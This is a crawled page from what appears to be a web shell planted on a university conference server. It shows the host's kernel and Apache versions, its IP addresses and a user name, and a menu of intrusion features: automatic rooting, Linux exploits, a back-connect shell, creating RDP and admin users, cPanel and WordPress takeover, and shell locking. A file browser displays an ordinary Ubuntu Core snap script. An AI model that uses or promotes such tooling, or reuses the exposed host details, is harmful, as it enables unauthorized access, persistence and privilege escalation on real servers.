Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 3.143.17.75
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
appadmin
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
snap /
core20 /
2318 /
usr /
lib /
core /
[ HOME SHELL ]
Name
Size
Permission
Action
handle-writable-paths
5.57
KB
-rwxr-xr-x
rtc-sys-time-init
3.83
KB
-rwxr-xr-x
run-snapd-from-snap
2.22
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : handle-writable-paths
#!/bin/sh # # Extracted code from: # https://github.com/snapcore/core-build/blob/master/initramfs/scripts/ubuntu-core-rootfs # to keep in the core20+ snap in sync with the writable-path file. # # Having it here means we don't need to rebuld all kernels if this file # changes. set -e panic() { echo "PANIC: $*" exit 1 } # XXX: we really want the "synced" feature to go away sync_dirs() { base="$1" source="$2" target="$3" OLD_PWD="$PWD" cd "$base" for file in "$source"/* do # Skip empty directories [ ! -e "$base/$file" -a ! -L "$base/$file" ] && continue # If the target already exists as a file or link, there's nothing we can do [ -e "$target/$file" -o -L "$target/$file" ] && [ ! -d "$target/$file" ] && continue # If the target doesn't exist, just copy it over if [ ! -e "$target/$file" -a ! -L "$target/$file" ]; then cp -Ra "$base/$file" "$target/$file" continue fi # That leaves us with directories and a recursive call [ -d "$file" ] && sync_dirs "$base" "$file" "$target" done cd "$OLD_PWD" } # Process the list of bind-mounts (but don't mount them - systemd will handle that) # File format is documented in writable-paths(5). handle_writable_paths() { writable_paths="$1" fstab="$2" [ -n "$writable_paths" ] || panic "need writeable paths" [ -e "$writable_paths" ] || panic "writeable paths does not exist" [ -n "$fstab" ] || panic "need fstab" cat "$writable_paths" | while read line; do # tokenise set -- $line # skip invalid/commented entries ([ -z "$1" ] || \ [ -z "$2" ] || \ [ -z "$3" ] || \ [ -z "$4" ] || \ [ -z "$5" ]) && continue # ignore anything that isn't an absolute path (including comments) case "$1" in /*) ;; *) continue ;; esac # skip invalid mount points dstpath="${rootmnt}$1" [ ! -e "$dstpath" ] && continue if [ "$3" = "temporary" ]; then # Temporary entries are simple, just mount a tmpfs echo "tmpfs $1 tmpfs $5 0 0" >> "$fstab" elif [ "$3" = "persistent" ] || \ [ "$3" = "synced" ]; then # Figure out the source path if [ "$2" = "auto" ]; then srcpath="${rootmnt}/writable/system-data${1}" path="/writable/system-data${1}" else srcpath="${rootmnt}/writable/$2" path="/writable/$2" fi if [ ! -e "$srcpath" ]; then # Process new persistent or synced paths dstown=$(stat -c "%u:%g" "$dstpath") dstmode=$(stat -c "%a" "$dstpath") mkdir -p ${srcpath%/*} if [ ! -d "$dstpath" ]; then # Deal with redirected files if [ "$4" = "transition" ]; then cp -a "$dstpath" "$srcpath" else touch "$srcpath" chown "$dstown" "$srcpath" chmod "$dstmode" "$srcpath" fi else # Deal with redirected directories if [ "$4" = "transition" ] || [ "$3" = "synced" ]; then cp -aR "$dstpath" "$srcpath" else mkdir "$srcpath" chown "$dstown" "$srcpath" chmod "$dstmode" "$srcpath" fi fi elif [ "$3" = "synced" ]; then # Process existing synced paths sync_dirs "$dstpath" . "$srcpath" fi # mount all /etc dirs right now, not later when fstab is # processed, as it will cause races. case $1 in /etc*) [ -e "${rootmnt}/writable/system-data/$1" ] || mkdir -p "${rootmnt}/writable/system-data/$1" mount -o bind "${rootmnt}/writable/system-data/$1" "${rootmnt}/$1" ;; *) # Write the fstab entry if [ "$5" = "none" ]; then echo "$path $1 none bind 0 0" >> "$fstab" else echo "$path $1 none bind,$5 0 0" >> "$fstab" fi ;; esac else continue fi done # now apply the defaults on top handle_writable_defaults } # handle_writable_default will apply system defaults *once* after # the handle_writable_path got populated handle_writable_defaults() { srcpath="${rootmnt}/writable/system-data/_writable_defaults" if [ ! -d "$srcpath" ] || [ -e "${srcpath}/.done" ]; then return fi dstpath="${rootmnt}/writable/system-data" for fileordir in "$srcpath"/* ; do # skip empty $srcpath/ [ ! -e "$fileordir" ] && [ ! -L "$fileordir" ] && continue # copy cp -a "$fileordir" "$dstpath" done touch "$srcpath/.done" } main() { writable_paths="${1:-${rootmnt}/etc/system-image/writable-paths}" fstab="${2:-${rootmnt}/etc/fstab}" # Add writable overlays if [ -e "$writable_paths" ]; then touch "${rootmnt}/run/image.fstab" mount -o bind "${rootmnt}/run/image.fstab" "$fstab" || panic "Cannot bind mount fstab" echo "# Auto-generated by $0" >> "$fstab" echo "# DO NOT EDIT THIS FILE BY HAND - YOUR CHANGES WILL BE OVERWRITTEN" >> "$fstab" echo "# (See writable-paths(5) for details)" >> "$fstab" echo "/dev/root / rootfs defaults,ro 0 0" >> "$fstab" handle_writable_paths "$writable_paths" "$fstab" echo "/run/mnt/ubuntu-seed /var/lib/snapd/seed none bind,ro 0 0" >> "$fstab" fi # IMPORTANT: ensure we synced everything back to disk sync } # for unit test if [ "$TEST_IMPORT" = "1" ]; then return fi rootmnt="$1" if [ -z "$rootmnt" ]; then echo "need rootmnt as the first argument" exit 1 fi # "$2" is the (optional) writable-paths file # "$3" is the (optional) /etc/fstab file main "$2" "$3"
Close